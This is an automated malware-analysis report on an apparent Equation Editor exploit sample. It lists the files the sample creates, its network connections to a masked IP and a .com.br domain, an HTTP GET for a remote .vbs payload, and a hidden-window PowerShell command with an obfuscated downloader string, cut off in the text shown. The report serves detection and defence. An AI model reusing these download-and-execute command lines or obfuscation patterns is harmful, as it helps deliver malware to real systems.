Technical Information
Malicious functions
Creates and executes the following (exploit)
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\grefff.vbs"
Downloads and executes files.
Modifies file system
Creates the following files
- %APPDATA%\grefff.vbs
- %TEMP%\error029120_01.xml
Network activity
Connects to
- '19#.#78.120.24':80
- 'up#####eimagens.com.br':443
TCP
HTTP GET requests
- http://19#.#78.120.24/fridayyyOnline.vbs
Other
- 'up#####eimagens.com.br':443
UDP
- DNS ASK up#####eimagens.com.br
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@...' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@...
